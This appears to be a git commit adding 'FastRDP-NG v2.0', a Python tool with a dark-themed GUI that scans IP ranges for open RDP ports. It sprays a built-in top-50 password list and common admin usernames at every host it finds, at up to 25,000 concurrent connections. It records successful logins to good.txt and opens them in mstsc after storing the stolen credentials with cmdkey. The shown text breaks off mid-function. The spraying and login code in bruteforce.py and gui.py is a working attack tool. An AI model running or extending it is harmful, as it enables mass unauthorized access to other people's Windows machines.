v2.0 streaming redesign: concurrent scan+spray, RDP connect button, live stats fix, terminal output

This commit is contained in:
drjones
2026-05-05 19:04:35 -07:00
parent 41c6a9f768
commit 5ed73d4fea
18 changed files with 30724 additions and 0 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

243
bruteforce.py Normal file
View File

@@ -0,0 +1,243 @@
"""
FastRDP-NG: RDP Password Sprayer.
Tries top common passwords against live RDP hosts using subprocess.
"""
import asyncio
import logging
import os
import subprocess
import time
from typing import List, Tuple, Set
logger = logging.getLogger("FastRDP-NG")
# Top 50 most common RDP passwords (by frequency in breaches)
TOP50_PASSWORDS = [
"admin", "Admin", "password", "Password", "123456",
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
"123456789", "1234567890", "letmein", "welcome", "monkey",
"dragon", "master", "login", "abc123", "test",
"test123", "pass", "Pass", "P@ss", "qwerty123",
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
"sunshine", "princess", "football", "baseball", "welcome1",
"admin123", "Admin123", "password!", "password.", "password00",
]
# Top usernames for RDP
TOP_USERNAMES = [
"Administrator", "Admin", "admin", "administrator",
"User", "user", "GuestUser", "Guest", "root",
]
async def spray_password(
ip: str,
port: int,
username: str,
password: str,
timeout: float = 5.0,
) -> Tuple[str, int, str, str, bool]:
"""
Try a single credential pair against an RDP host.
Attempts to find rdpthread.exe in common locations, then
falls back to RDP banner detection (connectivity check only).
Returns (ip, port, username, password, success).
"""
# Try to locate rdpthread.exe in likely locations
base = os.path.dirname(os.path.abspath(__file__))
search_paths = [
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
]
rdpthread_path = None
for p in search_paths:
if os.path.exists(p):
rdpthread_path = p
break
if rdpthread_path:
try:
result = subprocess.run(
[rdpthread_path, ip, str(port), username, password],
capture_output=True,
timeout=timeout,
creationflags=subprocess.CREATE_NO_WINDOW
)
output = result.stdout.decode('utf-8', errors='ignore').lower()
success = (
"success" in output or
"connected" in output or
"authenticated" in output or
result.returncode == 0
)
return (ip, port, username, password, success)
except (FileNotFoundError, subprocess.TimeoutExpired,
subprocess.CalledProcessError, OSError):
pass
# Fallback: RDP banner check (confirms RDP service is running)
# NOTE: Actual authentication requires CredSSP/NLA which needs
# a proper RDP client library. This fallback only detects open RDP ports.
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
timeout=2.0
)
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
writer.close()
await writer.wait_closed()
# TPKT header (0x03) indicates RDP protocol response
if len(data) >= 2 and data[0] == 0x03:
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionError):
pass
writer.close()
await writer.wait_closed()
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return (ip, port, username, password, False)
async def spray_all_hosts(
live_hosts: Set[Tuple[str, int]],
usernames: List[str] = None, # type: ignore
passwords: List[str] = None, # type: ignore
max_concurrent: int = 100,
timeout: float = 5.0,
progress_callback=None
) -> List[Tuple[str, int, str, str]]:
"""
Spray top passwords across all live hosts.
Tries 1 password per host, then moves to next password.
This avoids account lockouts and finds weak passwords fast.
Returns list of (ip, port, username, password) successful hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits = []
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
attempts = 0
start_time = time.time()
async def try_combo(ip: str, port: int, user: str, pwd: str):
nonlocal attempts
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
)
attempts += 1
if success:
hits.append((ip, port, u, p))
if progress_callback and attempts % 100 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
progress_callback(attempts, total_attempts, len(hits), rate)
return success
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
# Spray strategy: for each password, try it against ALL hosts first
# This is the "password spraying" approach - avoids lockouts
tasks = []
for password in passwords:
for ip, port in live_hosts:
for username in usernames:
tasks.append(asyncio.create_task(
try_combo(ip, port, username, password)
))
# Execute this password batch before moving to next password
# This lets us see hits faster
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
# Found hits! Write immediately
_write_hits(hits)
tasks = []
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
logger.info(
f"Spray complete: {len(hits)} hits from {attempts} attempts "
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
)
return hits
async def spray_single_host(
ip: str,
port: int,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 50,
timeout: float = 5.0,
hit_callback=None
) -> List[Tuple[str, int, str, str]]:
"""
Spray ALL passwords against a SINGLE host immediately.
Called as soon as a host is discovered — no need to wait for full scan.
hit_callback(ip, port, user, password): called on each successful hit.
Returns list of (ip, port, username, password) hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
)
if success:
hits.append((ip, port, u, p))
if hit_callback:
hit_callback(ip, port, u, p)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
_write_hits(hits)
return hits
def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately."""
import os
output_path = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
"results", "good.txt"
)
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'a') as f:
for ip, port, user, pwd in hits:
line = f"{user}:{pwd}@{ip}:{port}\n"
f.write(line)
print(f"\n[+] HIT! {line.strip()}")

891
gui.py Normal file
View File

@@ -0,0 +1,891 @@
"""
FastRDP-NG GUI - Sleek Windows interface for RDP scanning & password spraying.
Dark-themed, real-time progress, live host table, instant hit logging.
Streaming design: scan finds hosts → spray starts immediately (concurrent).
"""
import tkinter as tk
from tkinter import ttk, scrolledtext, filedialog
import threading
import asyncio
import time
import os
import random
import sys
import subprocess
from typing import Set, Tuple, List
from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS
from ip_utils import parse_ranges_file, count_ips
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
RESULTS_DIR = os.path.join(BASE_DIR, "results")
WORDLISTS_DIR = os.path.join(BASE_DIR, "wordlists")
# ── Terminal ANSI helpers ────────────────────────────────
_TERM = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()
if _TERM:
try:
import ctypes
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)
except Exception:
pass
def _c(code, text):
return f"{code}{text}\033[0m" if _TERM else text
# ── Color Palette ──────────────────────────────────────────
class Colors:
BG_DARK = "#1a1a2e"
BG_MID = "#16213e"
BG_LIGHT = "#0f3460"
ACCENT = "#00d2ff"
ACCENT2 = "#e94560"
GREEN = "#4ec94e"
RED = "#f44747"
ORANGE = "#ffa500"
YELLOW = "#dcdcaa"
TEXT = "#e0e0e0"
TEXT_DIM = "#888888"
HIT_BG = "#1a3a1a"
INPUT_BG = "#0d1117"
@dataclass
class ScanStats:
"""Live scanning statistics."""
checked: int = 0
total: int = 0
live: int = 0
hits: int = 0
rate: float = 0.0
start_time: float = 0.0
phase: str = "idle" # idle | scanning | spraying | done
class FastRDPGUI:
"""Polished Windows GUI for FastRDP-NG."""
def __init__(self):
self.root = tk.Tk()
self.root.title("FastRDP-NG v2.0 \u2014 Next Gen RDP Scanner")
self.root.geometry("1100x820")
self.root.minsize(950, 700)
self.root.configure(bg=Colors.BG_DARK)
# State
self.scanning = False
self.stats = ScanStats()
self.live_hosts: Set[Tuple[str, int]] = set()
self.hits: List[Tuple[str, int, str, str]] = []
self.host_items: dict = {} # (ip,port) -> treeview item id
self.ranges_file = os.path.join(WORDLISTS_DIR, "ranges.txt")
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
self._metric_labels: dict = {}
self._spray_queue: asyncio.Queue = None
os.makedirs(RESULTS_DIR, exist_ok=True)
os.makedirs(WORDLISTS_DIR, exist_ok=True)
self._setup_styles()
self._build_ui()
self._update_stats_display()
self.root.protocol("WM_DELETE_WINDOW", self._on_close)
def _setup_styles(self):
style = ttk.Style()
style.theme_use("clam")
style.configure(".", background=Colors.BG_DARK, foreground=Colors.TEXT,
fieldbackground=Colors.INPUT_BG, font=("Segoe UI", 10))
style.configure("TLabelframe", background=Colors.BG_MID, foreground=Colors.TEXT,
bordercolor=Colors.ACCENT, lightcolor=Colors.ACCENT,
darkcolor=Colors.BG_MID)
style.configure("TLabelframe.Label", background=Colors.BG_MID,
foreground=Colors.ACCENT, font=("Segoe UI", 10, "bold"))
style.configure("TButton", background=Colors.BG_LIGHT, foreground=Colors.TEXT,
bordercolor=Colors.ACCENT, focuscolor="none",
font=("Segoe UI", 10, "bold"))
style.map("TButton", background=[("active", Colors.ACCENT),
("disabled", Colors.BG_MID)],
foreground=[("disabled", Colors.TEXT_DIM)])
style.configure("Accent.TButton", background=Colors.ACCENT,
foreground=Colors.BG_DARK)
style.map("Accent.TButton", background=[("active", "#00e5ff"),
("disabled", Colors.BG_MID)])
style.configure("Danger.TButton", background=Colors.ACCENT2,
foreground="white")
style.map("Danger.TButton", background=[("active", "#ff6b81"),
("disabled", Colors.BG_MID)])
style.configure("Connect.TButton", background=Colors.GREEN,
foreground=Colors.BG_DARK)
style.map("Connect.TButton", background=[("active", "#5ddc5d"),
("disabled", Colors.BG_MID)])
style.configure("TEntry", fieldbackground=Colors.INPUT_BG,
foreground=Colors.TEXT, bordercolor=Colors.BG_LIGHT)
style.configure("Horizontal.TScale", background=Colors.BG_DARK,
troughcolor=Colors.BG_MID, slidercolor=Colors.ACCENT)
style.configure("TCheckbutton", background=Colors.BG_DARK,
foreground=Colors.TEXT)
style.map("TCheckbutton", background=[("active", Colors.BG_DARK)])
style.configure("Treeview", background=Colors.INPUT_BG,
foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG,
bordercolor=Colors.BG_MID, font=("Consolas", 9))
style.configure("Treeview.Heading", background=Colors.BG_LIGHT,
foreground=Colors.ACCENT, font=("Segoe UI", 9, "bold"))
style.map("Treeview", background=[("selected", Colors.BG_LIGHT)])
def _build_ui(self):
header = tk.Frame(self.root, bg=Colors.BG_MID, height=50)
header.pack(fill="x")
header.pack_propagate(False)
tk.Label(header, text="\u26a1 FastRDP-NG", font=("Segoe UI", 18, "bold"),
fg=Colors.ACCENT, bg=Colors.BG_MID).pack(side="left", padx=15)
tk.Label(header, text="v2.0 \u2014 Streaming RDP Scanner + Instant Spray",
font=("Segoe UI", 9), fg=Colors.TEXT_DIM,
bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0))
self.notebook = ttk.Notebook(self.root)
self.notebook.pack(fill="both", expand=True, padx=5, pady=5)
self.tab_scan = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_scan, text=" \U0001f50d Scanner ")
self._build_scanner_tab()
self.tab_results = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_results, text=" \U0001f4ca Results ")
self._build_results_tab()
self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_settings, text=" \u2699 Settings ")
self._build_settings_tab()
# ── TAB 1: SCANNER ─────────────────────────────────────
def _build_scanner_tab(self):
left = tk.Frame(self.tab_scan, bg=Colors.BG_DARK, width=380)
left.pack(side="left", fill="y", padx=(0, 5))
left.pack_propagate(False)
right = tk.Frame(self.tab_scan, bg=Colors.BG_DARK)
right.pack(side="right", fill="both", expand=True)
# ── LEFT PANEL ──
targets_frame = ttk.LabelFrame(left, text="\U0001f3af Targets", padding=8)
targets_frame.pack(fill="x", pady=(0, 5))
ttk.Label(targets_frame, text="Ranges File:",
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", pady=2)
self.ranges_entry = ttk.Entry(targets_frame, width=30)
self.ranges_entry.insert(0, self.ranges_file)
self.ranges_entry.grid(row=0, column=1, padx=5, pady=2, sticky="ew")
btn_row = tk.Frame(targets_frame, bg=Colors.BG_MID)
btn_row.grid(row=0, column=2, padx=(0, 0))
ttk.Button(btn_row, text="\U0001f4c2", width=3,
command=self._browse_ranges).pack(side="left")
ttk.Button(btn_row, text="\u2795", width=3,
command=self._quick_add_ip).pack(side="left", padx=(2, 0))
ttk.Label(targets_frame, text="Users File:",
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=2)
self.users_entry = ttk.Entry(targets_frame, width=30)
self.users_entry.insert(0, self.users_file)
self.users_entry.grid(row=1, column=1, padx=5, pady=2, sticky="ew")
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
command=lambda: self._browse_file("users")).grid(row=1, column=2)
ttk.Label(targets_frame, text="Passwords File:",
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=2)
self.pass_entry = ttk.Entry(targets_frame, width=30)
self.pass_entry.insert(0, self.passwords_file)
self.pass_entry.grid(row=2, column=1, padx=5, pady=2, sticky="ew")
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
command=lambda: self._browse_file("passwords")).grid(row=2, column=2)
targets_frame.columnconfigure(1, weight=1)
# -- Speed / Performance --
perf_frame = ttk.LabelFrame(left, text="\u26a1 Performance", padding=8)
perf_frame.pack(fill="x", pady=(0, 5))
ttk.Label(perf_frame, text="Concurrent Connections:",
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w")
self.speed_var = tk.IntVar(value=5000)
speed_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
speed_frame.grid(row=0, column=1, padx=5, sticky="ew")
speed_scale = ttk.Scale(speed_frame, from_=500, to=25000,
variable=self.speed_var, orient="horizontal",
length=180)
speed_scale.pack(side="left", fill="x", expand=True)
self.speed_label = tk.Label(speed_frame, text="5,000",
fg=Colors.ACCENT, bg=Colors.BG_MID,
font=("Consolas", 9, "bold"), width=6)
self.speed_label.pack(side="left", padx=(5, 0))
speed_scale.configure(command=lambda v: self.speed_label.config(
text=f"{int(float(v)):,}"))
ttk.Label(perf_frame, text="Connect Timeout (s):",
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=(5, 0))
self.timeout_var = tk.DoubleVar(value=2.0)
timeout_spin = ttk.Spinbox(perf_frame, from_=0.5, to=10.0,
increment=0.5, textvariable=self.timeout_var,
width=8)
timeout_spin.grid(row=1, column=1, padx=5, pady=(5, 0), sticky="w")
ttk.Label(perf_frame, text="Scan Ports:",
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=(5, 0))
ports_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
self.port_vars = {3389: tk.BooleanVar(value=True),
3390: tk.BooleanVar(value=True),
3391: tk.BooleanVar(value=True)}
for i, (port, var) in enumerate(self.port_vars.items()):
tk.Checkbutton(ports_frame, text=str(port), variable=var,
fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT).pack(side="left", padx=2)
perf_frame.columnconfigure(1, weight=1)
# -- Controls --
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
ctrl_frame.pack(fill="x", pady=(0, 5))
btn_frame = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
btn_frame.pack(fill="x")
self.start_btn = ttk.Button(btn_frame, text="\u25b6 START SCAN",
style="Accent.TButton",
command=self._start_scan, width=16)
self.start_btn.pack(side="left", padx=(0, 5))
self.stop_btn = ttk.Button(btn_frame, text="\u25a0 STOP",
style="Danger.TButton",
command=self._stop_scan, state="disabled",
width=10)
self.stop_btn.pack(side="left", padx=(0, 5))
ttk.Button(btn_frame, text="\U0001f5d1 Clear", width=8,
command=self._clear_results).pack(side="left")
spray_opts = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
spray_opts.pack(fill="x", pady=(8, 0))
self.spray_var = tk.BooleanVar(value=True)
tk.Checkbutton(spray_opts, text="\U0001f511 Instant spray (as hosts found)",
variable=self.spray_var, fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT,
font=("Segoe UI", 9, "bold")).pack(side="left")
self.randomize_var = tk.BooleanVar(value=True)
tk.Checkbutton(spray_opts, text="\U0001f3b2 Randomize",
variable=self.randomize_var, fg=Colors.TEXT_DIM,
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
# -- Live Stats Dashboard --
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
stats_frame.pack(fill="x", expand=False)
stats_grid = tk.Frame(stats_frame, bg=Colors.BG_MID)
stats_grid.pack(fill="x")
self._metric_labels = {}
self._make_metric(stats_grid, "Checked", "0", 0, 0, Colors.YELLOW)
self._make_metric(stats_grid, "Total", "0", 0, 1, Colors.TEXT_DIM)
self._make_metric(stats_grid, "Live", "0", 0, 2, Colors.GREEN)
self._make_metric(stats_grid, "Hits", "0", 1, 0, Colors.ACCENT2)
self._make_metric(stats_grid, "Rate", "0/s", 1, 1, Colors.ACCENT)
self._make_metric(stats_grid, "Elapsed", "0s", 1, 2, Colors.ORANGE)
for col in range(3):
stats_grid.columnconfigure(col, weight=1, uniform="metric")
# ── RIGHT PANEL ──
hosts_frame = ttk.LabelFrame(right, text="\U0001f310 Live RDP Hosts [double-click to RDP connect]",
padding=3)
hosts_frame.pack(fill="both", expand=True, pady=(0, 3))
columns = ("ip", "port", "status", "username", "password")
self.host_tree = ttk.Treeview(hosts_frame, columns=columns,
show="headings", height=6)
headings = [("ip", "IP Address", 150), ("port", "Port", 55),
("status", "Status", 140),
("username", "Username", 110), ("password", "Password", 120)]
for col, text, width in headings:
self.host_tree.heading(col, text=text)
self.host_tree.column(col, width=width)
# Double-click to RDP connect
self.host_tree.bind("<Double-1>", self._on_host_double_click)
scroll_y = ttk.Scrollbar(hosts_frame, orient="vertical",
command=self.host_tree.yview)
self.host_tree.configure(yscrollcommand=scroll_y.set)
self.host_tree.pack(side="left", fill="both", expand=True)
scroll_y.pack(side="right", fill="y")
# RDP Connect button bar
rdp_bar = tk.Frame(right, bg=Colors.BG_MID, height=35)
rdp_bar.pack(fill="x", pady=(0, 3))
rdp_bar.pack_propagate(False)
ttk.Button(rdp_bar, text="\U0001f4bb RDP Connect (selected host)",
style="Connect.TButton",
command=self._rdp_connect_selected).pack(side="left", padx=5, pady=3)
ttk.Button(rdp_bar, text="\U0001f4dd Quick RDP (manual IP)",
command=self._quick_rdp_dialog).pack(side="left", padx=5, pady=3)
self.rdp_status = tk.Label(rdp_bar, text="Select a host, then click RDP Connect",
fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
font=("Segoe UI", 8))
self.rdp_status.pack(side="right", padx=10)
# -- Event log --
log_frame = ttk.LabelFrame(right, text="\U0001f4dd Event Log", padding=3)
log_frame.pack(fill="both", expand=True)
self.log_text = scrolledtext.ScrolledText(
log_frame, font=("Consolas", 9), height=8,
bg="#0d1117", fg="#c9d1d9", insertbackground="white",
relief="flat", borderwidth=0
)
self.log_text.pack(fill="both", expand=True)
self.log_text.tag_configure("hit", foreground=Colors.GREEN,
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("info", foreground="#79c0ff")
self.log_text.tag_configure("error", foreground=Colors.RED)
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
def _make_metric(self, parent, label, value, row, col, color):
frame = tk.Frame(parent, bg=Colors.INPUT_BG, highlightbackground=color,
highlightthickness=1, padx=8, pady=5)
frame.grid(row=row, column=col, padx=3, pady=3, sticky="nsew")
tk.Label(frame, text=label, fg=Colors.TEXT_DIM, bg=Colors.INPUT_BG,
font=("Segoe UI", 7)).pack()
metric_label = tk.Label(frame, text=value, fg=color, bg=Colors.INPUT_BG,
font=("Consolas", 14, "bold"))
metric_label.pack()
key = label.lower().replace(" ", "_")
self._metric_labels[key] = metric_label
# ── TAB 2: RESULTS ─────────────────────────────────────
def _build_results_tab(self):
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
hit_frame.pack(fill="both", expand=True, pady=(0, 3))
columns = ("ip", "port", "username", "password", "timestamp")
self.hit_tree = ttk.Treeview(hit_frame, columns=columns,
show="headings", height=10)
headings = [("ip", "IP Address", 160), ("port", "Port", 60),
("username", "Username", 130), ("password", "Password", 130),
("timestamp", "Found At", 150)]
for col, text, width in headings:
self.hit_tree.heading(col, text=text)
self.hit_tree.column(col, width=width)
# Double-click hit to RDP connect
self.hit_tree.bind("<Double-1>", self._on_hit_double_click)
scroll_y2 = ttk.Scrollbar(hit_frame, orient="vertical",
command=self.hit_tree.yview)
self.hit_tree.configure(yscrollcommand=scroll_y2.set)
self.hit_tree.pack(side="left", fill="both", expand=True)
scroll_y2.pack(side="right", fill="y")
out_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4c4 good.txt Output", padding=3)
out_frame.pack(fill="both", expand=True)
btn_row = tk.Frame(out_frame, bg=Colors.BG_MID)
btn_row.pack(fill="x", pady=(0, 3))
ttk.Button(btn_row, text="\U0001f504 Refresh", command=self._refresh_good).pack(side="left")
ttk.Button(btn_row, text="\U0001f4c2 Open File",
command=lambda: os.startfile(os.path.join(RESULTS_DIR, "good.txt"))
if hasattr(os, 'startfile') else None).pack(side="left", padx=5)
self.good_text = scrolledtext.ScrolledText(
out_frame, font=("Consolas", 9), height=8,
bg="#0d1117", fg=Colors.GREEN, relief="flat", borderwidth=0
)
self.good_text.pack(fill="both", expand=True)
# ── TAB 3: SETTINGS ────────────────────────────────────
def _build_settings_tab(self):
editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8)
editor_frame.pack(fill="both", expand=True, pady=(0, 5))
nb = ttk.Notebook(editor_frame)
nb.pack(fill="both", expand=True)
for name, file_key in [("Usernames", "users"), ("Passwords", "passwords"),
("Ranges", "ranges")]:
tab = tk.Frame(nb, bg=Colors.INPUT_BG)
nb.add(tab, text=f" {name} ")
text_widget = scrolledtext.ScrolledText(
tab, font=("Consolas", 9), bg="#0d1117", fg=Colors.TEXT,
relief="flat", borderwidth=0
)
text_widget.pack(fill="both", expand=True, padx=2, pady=2)
fpath = os.path.join(WORDLISTS_DIR, f"{file_key}.txt")
if os.path.exists(fpath):
with open(fpath, 'r', errors='ignore') as f:
content = f.read()
text_widget.insert("1.0", content)
setattr(self, f"{file_key}_editor", text_widget)
about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8)
about_frame.pack(fill="x")
tk.Label(about_frame,
text="FastRDP-NG v2.0 \u2014 Next Generation RDP Scanner\n"
"Built with Python 3.11 + asyncio\n"
"Streaming: scan + spray run CONCURRENTLY\n"
"Double-click any host to RDP connect instantly\n"
"Top 50 password spraying \u2022 CIDR/range support",
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
# ── METRICS UPDATE ─────────────────────────────────────
def _update_stats_display(self):
s = self.stats
elapsed = time.time() - s.start_time if s.start_time > 0 else 0
labels_map = {
"checked": f"{s.checked:,}",
"total": f"{s.total:,}",
"live": f"{s.live}",
"hits": f"{s.hits}",
"rate": f"{s.rate:,.0f}/s" if s.rate > 0 else "0/s",
"elapsed": f"{elapsed:.0f}s" if elapsed < 60
else f"{elapsed/60:.1f}m"
}
for key, text in labels_map.items():
if key in self._metric_labels:
lbl = self._metric_labels[key]
try:
lbl.config(text=text)
except tk.TclError:
pass
self.root.after(500, self._update_stats_display)
# ── LOGGING ────────────────────────────────────────────
def _log(self, msg: str, tag: str = "info"):
ts = time.strftime("%H:%M:%S")
try:
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
self.log_text.see("end")
except tk.TclError:
pass
tag_colors = {
"hit": "\033[92m",
"info": "\033[94m",
"error": "\033[91m",
"scan": "\033[93m",
"system": "\033[90m",
}
color = tag_colors.get(tag, "\033[97m")
try:
print(f" {color}[{ts}]\033[0m {msg}", flush=True)
except OSError:
pass
# ── RDP CONNECT FEATURE ────────────────────────────────
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
"""Launch Windows mstsc (or store creds + launch) for given host."""
ts = time.strftime("%H:%M:%S")
try:
if username and password:
# Store credential in Windows Credential Manager for this session
# Then mstsc can use it automatically
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
if os.path.exists(cmdkey_path):
proc = subprocess.run(
[cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"],
capture_output=True, timeout=5,
creationflags=subprocess.CREATE_NO_WINDOW
)
self._log(f"\U0001f4bb Stored RDP creds for {username}@{ip}", "system")
else:
self._log("\U0001f4bb cmdkey not found, launching without stored creds", "system")
# Launch mstsc
mstsc_path = r"C:\Windows\System32\mstsc.exe"
if os.path.exists(mstsc_path):
rdp_target = f"/v:{ip}:{port}"
subprocess.Popen(
[mstsc_path, rdp_target],
creationflags=subprocess.CREATE_NO_WINDOW
)
self._log(f"\U0001f4bb RDP launched: {ip}:{port} [{username}]", "hit")
self.rdp_status.config(text=f"RDP: {ip}:{port}")
print(_c("\033[92m", f" [{ts}] \U0001f4bb RDP \u2192 {ip}:{port} user={username}"))
else:
self._log("\u274c mstsc.exe not found! Are you on Windows?", "error")
except Exception as e:
self._log(f"\u274c RDP error: {e}", "error")
def _rdp_connect_selected(self):
"""RDP connect to the currently selected host in the tree."""
sel = self.host_tree.selection()
if not sel:
self.rdp_status.config(text="No host selected!")
return
item = sel[0]
vals = self.host_tree.item(item, "values")
ip = vals[0]
port = int(vals[1]) if vals[1].isdigit() else 3389
user = vals[3] if len(vals) > 3 else ""
pwd = vals[4] if len(vals) > 4 else ""
self._rdp_connect(ip, port, user, pwd)
def _on_host_double_click(self, event):
self._rdp_connect_selected()
def _on_hit_double_click(self, event):
sel = self.hit_tree.selection()
if not sel:
return
item = sel[0]
vals = self.hit_tree.item(item, "values")
ip = vals[0]
port = int(vals[1]) if vals[1].isdigit() else 3389
user = vals[2] if len(vals) > 2 else ""
pwd = vals[3] if len(vals) > 3 else ""
self._rdp_connect(ip, port, user, pwd)
def _quick_rdp_dialog(self):
dialog = tk.Toplevel(self.root)
dialog.title("Quick RDP Connect")
dialog.geometry("380x200")
dialog.configure(bg=Colors.BG_DARK)
dialog.transient(self.root)
dialog.grab_set()
tk.Label(dialog, text="Manual RDP Connection", font=("Segoe UI", 12, "bold"),
fg=Colors.ACCENT, bg=Colors.BG_DARK).pack(pady=(10, 5))
frame = tk.Frame(dialog, bg=Colors.BG_DARK)
frame.pack(pady=5)
tk.Label(frame, text="IP:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", padx=5)
ip_entry = ttk.Entry(frame, width=30)
ip_entry.grid(row=0, column=1, padx=5, pady=2)
tk.Label(frame, text="Port:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", padx=5)
port_entry = ttk.Entry(frame, width=10)
port_entry.insert(0, "3389")
port_entry.grid(row=1, column=1, sticky="w", padx=5, pady=2)
tk.Label(frame, text="User:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", padx=5)
user_entry = ttk.Entry(frame, width=30)
user_entry.grid(row=2, column=1, padx=5, pady=2)
def connect():
ip = ip_entry.get().strip()
port_str = port_entry.get().strip()
port = int(port_str) if port_str.isdigit() else 3389
user = user_entry.get().strip()
self._rdp_connect(ip, port, user)
dialog.destroy()
ttk.Button(dialog, text="\U0001f4bb Connect RDP", style="Accent.TButton",
command=connect).pack(pady=10)
# ── HELPERS ────────────────────────────────────────────
def _browse_ranges(self):
path = filedialog.askopenfilename(
title="Select ranges file",
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
)
if path:
self.ranges_entry.delete(0, "end")
self.ranges_entry.insert(0, path)
def _browse_file(self, which: str):
path = filedialog.askopenfilename(
title=f"Select {which} file",
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
)
if path:
entry = getattr(self, f"{which}_entry", None)
if entry:
entry.delete(0, "end")
entry.insert(0, path)
def _quick_add_ip(self):
dialog = tk.Toplevel(self.root)
dialog.title("Quick Add IP")
dialog.geometry("350x120")
dialog.configure(bg=Colors.BG_DARK)
dialog.transient(self.root)
dialog.grab_set()
tk.Label(dialog, text="Enter IP, range, or CIDR:",
fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).pack(pady=(10, 5))
entry = ttk.Entry(dialog, width=45)
entry.pack(pady=5)
entry.focus()
def add():
ip = entry.get().strip()
if ip:
rp = self.ranges_entry.get().strip()
if rp:
try:
with open(rp, 'a') as f:
f.write(f"\n{ip}")
